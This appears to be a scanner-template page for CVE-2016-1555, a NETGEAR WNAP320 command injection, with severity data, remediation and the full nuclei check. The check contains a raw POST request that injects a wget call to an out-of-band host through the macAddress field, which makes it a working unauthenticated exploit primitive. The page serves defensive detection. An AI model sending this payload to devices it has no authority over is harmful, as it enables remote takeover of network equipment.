NETGEAR WNAP320 Access Point Firmware - Remote Command Injection

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.

Fix

Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.

How to confirm it

Send: POST /boardDataWW.php
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2016-1555 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1555

info:
  name: NETGEAR WNAP320 Access Point Firmware - Remote Command Injection
  author: gy741
  severity: critical
  description: NETGEAR WNAP320 Access Point Firmware version 2.0.3 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://github.com/nobodyatall648/Netgear-WNAP320-Firmware-Version-2.0.3-RCE
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1555
    - https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic
    - http://seclists.org/fulldisclosure/2016/Feb/112
    - http://packetstormsecurity.com/files/135956/D-Link-Netgear-FIRMADYNE-Command-Injection-Buffer-Overflow.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-1555
    cwe-id: CWE-77
    epss-score: 0.98325
    epss-percentile: 0.99916
    cpe: cpe:2.3:o:netgear:wnap320_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: wnap320_firmware
  tags: cve2016,cve,seclists,packetstorm,netgear,rce,oast,router,kev,vkev,vuln

http:
  - raw:
      - |
        POST /boardDataWW.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        macAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23&reginfo=0&writeData=Submit

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from